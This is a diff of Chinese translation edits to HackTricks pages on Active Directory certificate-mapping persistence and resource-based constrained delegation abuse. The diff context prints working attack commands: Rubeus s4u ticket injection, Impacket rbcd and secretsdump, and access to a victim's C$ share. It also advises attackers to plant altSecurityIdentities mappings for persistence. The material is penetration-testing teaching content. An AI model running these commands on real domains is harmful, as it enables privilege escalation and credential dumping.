- 使用强格式(Issuer+Serial、SKI、SHA1-PublicKey)的显式映射继续有效。弱格式(Issuer/Subject、Subject-only、RFC822)可能会被阻止,应避免用于持久性。
|
||||
- 缺乏 SID 映射扩展的 2022 年之前的证书在 DC 处于完全强制执行时可能会失败隐式映射。攻击者可以通过 AD CS 更新证书(以获取 SID 扩展)或在 `altSecurityIdentities` 中植入强显式映射(PERSIST4)来维持访问。
|
||||
- 使用强格式(Issuer+Serial, SKI, SHA1-PublicKey)的显式映射继续有效。弱格式(Issuer/Subject, Subject-only, RFC822)可能会被阻止,应避免用于持久性。
|
||||
|
||||
管理员应监控并警报:
|
||||
- 对 `altSecurityIdentities` 的更改以及 Enrollment Agent 和用户证书的签发/续订。
|
||||
@ -126,7 +126,7 @@ Microsoft KB5014754 在域控制器上引入了强证书映射强制执行。从
|
||||
|
||||
- Microsoft. KB5014754:Windows 域控制器上的基于证书的身份验证更改(强制执行时间表和强映射)。
|
||||
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy Wiki – 命令参考(`req -renew`、`auth`、`shadow`)。
|
||||
- Certipy Wiki – 命令参考(`req -renew`, `auth`, `shadow`)。
|
||||
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -5,16 +5,16 @@
|
||||
|
||||
## Basics of Resource-based Constrained Delegation
|
||||
|
||||
这与基本的 [Constrained Delegation](constrained-delegation.md) 类似,但**不是**给一个**对象**权限以**冒充任何用户对抗一台机器**。资源基础的约束委托**设置**在**能够冒充任何用户的对象**上。
|
||||
这与基本的 [Constrained Delegation](constrained-delegation.md) 类似,但**不是**给一个**对象**权限以**冒充任何用户对抗一台机器**。资源基础的约束委托**设置**在**能够冒充任何用户对抗它的对象**中。
|
||||
|
||||
在这种情况下,受限对象将具有一个名为 _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ 的属性,包含可以冒充任何其他用户的用户的名称。
|
||||
|
||||
与其他委托的另一个重要区别是,任何具有**计算机帐户的写权限**(_GenericAll/GenericWrite/WriteDacl/WriteProperty等) 的用户都可以设置 **_msDS-AllowedToActOnBehalfOfOtherIdentity_**(在其他形式的委托中,您需要域管理员权限)。
|
||||
与其他委托的另一个重要区别是,任何对计算机帐户具有**写权限**的用户(_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_)都可以设置 **_msDS-AllowedToActOnBehalfOfOtherIdentity_**(在其他形式的委托中,您需要域管理员权限)。
|
||||
|
||||
### New Concepts
|
||||
|
||||
在约束委托中提到,用户的 _userAccountControl_ 值中的 **`TrustedToAuthForDelegation`** 标志是执行 **S4U2Self** 所需的。但这并不完全正确。\
|
||||
实际上,即使没有该值,如果您是一个**服务**(具有 SPN),您也可以对任何用户执行 **S4U2Self**,但是,如果您**具有 `TrustedToAuthForDelegation`**,返回的 TGS 将是**可转发的**,而如果您**没有**该标志,返回的 TGS **将不会**是**可转发的**。
|
||||
实际上,即使没有该值,如果您是一个**服务**(具有 SPN),您也可以对任何用户执行 **S4U2Self**,但是,如果您**具有 `TrustedToAuthForDelegation`**,返回的 TGS 将是**可转发的**,如果您**没有**该标志,返回的 TGS **将不会**是**可转发的**。
|
||||
|
||||
然而,如果在 **S4U2Proxy** 中使用的 **TGS** **不是可转发的**,尝试滥用**基本约束委托**将**不起作用**。但如果您尝试利用**基于资源的约束委托,它将有效**。
|
||||
|
||||
@ -22,11 +22,11 @@
|
||||
|
||||
> 如果您对**计算机**帐户具有**写等效权限**,则可以在该机器上获得**特权访问**。
|
||||
|
||||
假设攻击者已经对受害者计算机具有**写等效权限**。
|
||||
假设攻击者已经对受害计算机具有**写等效权限**。
|
||||
|
||||
1. 攻击者**破坏**一个具有**SPN**的帐户或**创建一个**(“服务 A”)。请注意,**任何**_管理员用户_在没有其他特殊权限的情况下,可以**创建**最多 10 个计算机对象(**_MachineAccountQuota_**)并为其设置一个 **SPN**。因此,攻击者可以创建一个计算机对象并设置一个 SPN。
|
||||
2. 攻击者**滥用其对受害者计算机的写权限**(ServiceB),以配置**基于资源的约束委托,允许 ServiceA 冒充任何用户**对抗该受害者计算机(ServiceB)。
|
||||
3. 攻击者使用 Rubeus 执行**完整的 S4U 攻击**(S4U2Self 和 S4U2Proxy),从服务 A 到服务 B 针对具有**对服务 B 的特权访问**的用户。
|
||||
2. 攻击者**滥用其对受害计算机(ServiceB)的写权限**,以配置**基于资源的约束委托,允许 ServiceA 冒充任何用户**对抗该受害计算机(ServiceB)。
|
||||
3. 攻击者使用 Rubeus 执行**完整的 S4U 攻击**(S4U2Self 和 S4U2Proxy),从服务 A 到服务 B,针对具有**对服务 B 的特权访问**的用户。
|
||||
1. S4U2Self(来自被破坏/创建的 SPN 帐户):请求**管理员的 TGS 给我**(不可转发)。
|
||||
2. S4U2Proxy:使用前一步的**不可转发 TGS**请求**管理员**到**受害主机**的**TGS**。
|
||||
3. 即使您使用的是不可转发的 TGS,由于您正在利用基于资源的约束委托,它将有效。
|
||||
@ -72,7 +72,7 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
```
|
||||
### 执行完整的 S4U 攻击 (Windows/Rubeus)
|
||||
|
||||
首先,我们创建了一个新的计算机对象,密码为 `123456`,因此我们需要该密码的哈希值:
|
||||
首先,我们创建了新的计算机对象,密码为 `123456`,因此我们需要该密码的哈希值:
|
||||
```bash
|
||||
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
|
||||
```
|
||||
@ -81,14 +81,14 @@ msds-allowedtoactonbehalfofotheridentity
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
您可以通过使用 Rubeus 的 `/altservice` 参数一次性生成更多服务的票证:
|
||||
您可以通过使用 Rubeus 的 `/altservice` 参数仅询问一次来为更多服务生成更多票证:
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 注意,用户有一个属性叫做“**无法被委托**”。如果用户的此属性为 True,您将无法冒充他。此属性可以在 bloodhound 中查看。
|
||||
|
||||
### Linux 工具:使用 Impacket 进行端到端 RBCD (2024+)
|
||||
### Linux 工具:使用 Impacket 进行端到端 RBCD(2024+)
|
||||
|
||||
如果您在 Linux 上操作,可以使用官方的 Impacket 工具执行完整的 RBCD 链:
|
||||
```bash
|
||||
@ -110,12 +110,12 @@ impacket-secretsdump -k -no-pass Administrator@victim.domain.local
|
||||
Notes
|
||||
- 如果强制执行 LDAP 签名/LDAPS,请使用 `impacket-rbcd -use-ldaps ...`。
|
||||
- 优先使用 AES 密钥;许多现代域限制 RC4。Impacket 和 Rubeus 都支持仅 AES 流。
|
||||
- Impacket 可以为某些工具重写 `sname`("AnySPN"),但尽可能获取正确的 SPN(例如,CIFS/LDAP/HTTP/HOST/MSSQLSvc)。
|
||||
- Impacket 可以为某些工具重写 `sname` ("AnySPN"),但尽可能获取正确的 SPN(例如,CIFS/LDAP/HTTP/HOST/MSSQLSvc)。
|
||||
|
||||
### Accessing
|
||||
|
||||
最后一条命令将执行 **完整的 S4U 攻击,并将 TGS** 从管理员注入到受害主机的 **内存** 中。\
|
||||
在此示例中,请求了来自管理员的 **CIFS** 服务的 TGS,因此您将能够访问 **C$**:
|
||||
在这个例子中,请求了来自管理员的 **CIFS** 服务的 TGS,因此您将能够访问 **C$**:
|
||||
```bash
|
||||
ls \\victim.domain.local\C$
|
||||
```
|
||||
@ -143,7 +143,7 @@ try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $n
|
||||
}
|
||||
}
|
||||
```
|
||||
Impacket (用一个命令读取或刷新):
|
||||
Impacket(用一个命令读取或刷新):
|
||||
```bash
|
||||
# Read who can delegate to VICTIM
|
||||
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
|
||||
@ -165,7 +165,7 @@ impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025
|
||||
```
|
||||
## Kerberos 错误
|
||||
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: 这意味着 kerberos 配置为不使用 DES 或 RC4,而您仅提供了 RC4 哈希。至少向 Rubeus 提供 AES256 哈希(或者同时提供 rc4、aes128 和 aes256 哈希)。示例: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KDC_ERR_ETYPE_NOTSUPP`**: 这意味着 kerberos 配置为不使用 DES 或 RC4,而您仅提供了 RC4 哈希。至少向 Rubeus 提供 AES256 哈希(或同时提供 rc4、aes128 和 aes256 哈希)。示例: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
|
||||
- **`KRB_AP_ERR_SKEW`**: 这意味着当前计算机的时间与 DC 的时间不同,kerberos 无法正常工作。
|
||||
- **`preauth_failed`**: 这意味着给定的用户名 + 哈希无法登录。您可能忘记在生成哈希时在用户名中放入“$”(`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)。
|
||||
- **`KDC_ERR_BADOPTION`**: 这可能意味着:
|
||||
@ -196,6 +196,6 @@ adws-enumeration.md
|
||||
- [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
- [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
|
||||
- Impacket rbcd.py (官方): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
|
||||
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
|
||||
- 快速 Linux 备忘单,包含最新语法: https://tldrbins.github.io/rbcd/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user